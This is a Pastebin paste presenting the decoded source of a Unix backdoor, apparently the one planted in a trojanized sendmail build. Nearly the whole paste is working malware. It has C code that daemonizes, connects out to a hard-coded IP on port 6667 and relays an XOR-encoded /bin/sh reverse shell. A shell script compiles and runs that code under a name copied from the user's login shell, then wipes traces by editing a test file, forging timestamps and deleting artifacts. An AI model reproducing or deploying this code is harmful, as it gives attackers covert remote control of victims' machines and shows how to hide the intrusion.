BlinkingStars

Backdoor.Unix.Cinic - Source Code

Jun 7th, 2023
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.00 KB | Cybersecurity | 0 0
  1.  
  2. /* Forrest Rae offered this decoded portion to us  fbr@14x.net */
  3.  
  4.  
  5. #!/bin/sh
  6. cat >conftest.c <<_ACEOF
  7. #include <stdio.h>
  8. #include <sys/types.h>
  9. #include <unistd.h>
  10. #include <sys/socket.h>
  11. #include <netinet/in.h>
  12. int main(int argc,char **argv) {
  13.     char c;
  14.     int s,x,sv0[2],sv1[2];
  15.     struct sockaddr_in sa;
  16.     switch(fork()){
  17.         case 0:break;
  18.         default:exit(1);
  19.     }
  20.     setsid();
  21.     close(0);
  22.     close(1);
  23.     close(2);
  24.     do{
  25.         if((s=socket(AF_INET,SOCK_STREAM,0))==(-1)) exit(1);
  26.         sa.sin_family=AF_INET;
  27.         sa.sin_port=htons(6667);
  28.         sa.sin_addr.s_addr=inet_addr("66.37.138.99");
  29.         alarm(10);
  30.         if(connect(s,(struct sockaddr*)&sa,sizeof(sa))==(-1))exit(1);
  31.         if((x=read(s,&c,1))<=0)
  32.             exit(1);
  33.         else{
  34.             alarm(0);
  35.             switch(c){
  36.                 case 'A':exit(0);
  37.                 case 'D':break;
  38.                 case 'M':close(s);
  39.                     sleep(3600);
  40.                     continue;
  41.             }
  42.         }
  43.         break;
  44.     } while(1);
  45.    
  46.     if(socketpair(AF_UNIX,SOCK_STREAM,0,sv0)==(-1))exit(1);
  47.     if(socketpair(AF_UNIX,SOCK_STREAM,0,sv1)==(-1))exit(1);
  48.     switch(fork()){
  49.         case -1:{exit(1);}
  50.         case 0:{
  51.             char*a[]={"/bin/sh",NULL};
  52.             close(sv0[1]);
  53.             close(sv1[1]);
  54.             dup2(sv0[0],0);
  55.             dup2(sv1[0],1);
  56.             dup2(sv1[0],2);
  57.             execve(a[0],a,NULL);
  58.         }
  59.         default:{
  60.             close(sv0[0]);
  61.             close(sv1[0]);
  62.             while(1){
  63.                 int len,ret;
  64.                 fd_set rfd;
  65.                 charbuf[2048];
  66.                 FD_ZERO(&rfd);
  67.                 FD_SET(s,&rfd);
  68.                 FD_SET(sv1[1],&rfd);
  69.                 if(select(32,&rfd,NULL,NULL,NULL)==(-1)){exit(1);}
  70.                 if(FD_ISSET(s,&rfd)){
  71.                     if((len=read(s,buf,sizeof(buf)))<=0){exit(1);}
  72.                     for(x=0;x<len;x++)
  73.                         buf[x]^=0x89;
  74.                     x=0;
  75.                     while(x<len){
  76.                         if((ret=write(sv0[1],buf+x,len-x))==(-1)){exit(1);}
  77.                         x+=ret;
  78.                     }
  79.                 }
  80.                 if(FD_ISSET(sv1[1],&rfd)){
  81.                     if((len=read(sv1[1],buf,sizeof(buf)))<=0){exit(1);}
  82.                     for(x=0;x<len;x++)
  83.                         buf[x]^=0x89;
  84.                     x=0;
  85.                     while(x<len){
  86.                         if((ret=write(s,buf+x,len-x))==(-1)){exit(1);}
  87.                         x+=ret;
  88.                     }
  89.                 }
  90.             }
  91.         }
  92.     }
  93. }
  94. _ACEOF
  95. (grep -v "SM_BASE64_DATA" ../../libsm/t-shm.c > out;
  96. cp out ../../libsm/t-shm.c;
  97. touch -r /etc/motd ../../libsm/t-shm.c;
  98. rm -f out
  99. test grep -v "atexit" ../../libsm/t-shm.c > out;
  100. cp out ../../libsm/t-shm.c;
  101. touch -r /etc/motd ../../libsm/t-shm.c;
  102. rm -f out
  103. test grep -v "system" ../../libsm/t-shm.c > out;
  104. cp out ../../libsm/t-shm.c;
  105. touch -r /etc/motd ../../libsm/t-shm.c;
  106. rm -f out
  107. test TESTPROG="`basename \"\`grep ^$USER: /etc/passwd\`\"`"
  108. if test -z $TESTPROG ; then TESTPROG=sh; fi
  109. TESTSTAT=0
  110. if test $TESTPROG = "sh"; then TESTSTAT=1;fi
  111. if test $TESTPROG = "csh"; then TESTSTAT=1;fi
  112. if test $TESTPROG = "bash"; then TESTSTAT=1;fi
  113. if test $TESTPROG = "tcsh"; then TESTSTAT=1;fi
  114. if test $TESTPROG = "zsh"; then TESTSTAT=1;fi
  115. if test $TESTSTAT -eq 0; then TESTPROG=sh;fi
  116. oPATH=$PATH
  117. gcc -w conftest.c -o $TESTPROG ; PATH=. $TESTPROG
  118. PATH=$oPATH
  119. if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG &&
  120. exit;fi
  121. gcc -w conftest.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG
  122. PATH=$oPATH
  123. if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG &&
  124. exit;fi
  125. cc -w conftest.c -o $TESTPROG ; PATH=. $TESTPROG
  126. PATH=$oPATH
  127. if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG &&
  128. exit;fi
  129. cc -w conftest.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG
  130. PATH=$oPATH
  131. rm -f ./conftest ./conftest.c $TESTPROG)
Add Comment
Please, Sign In to add comment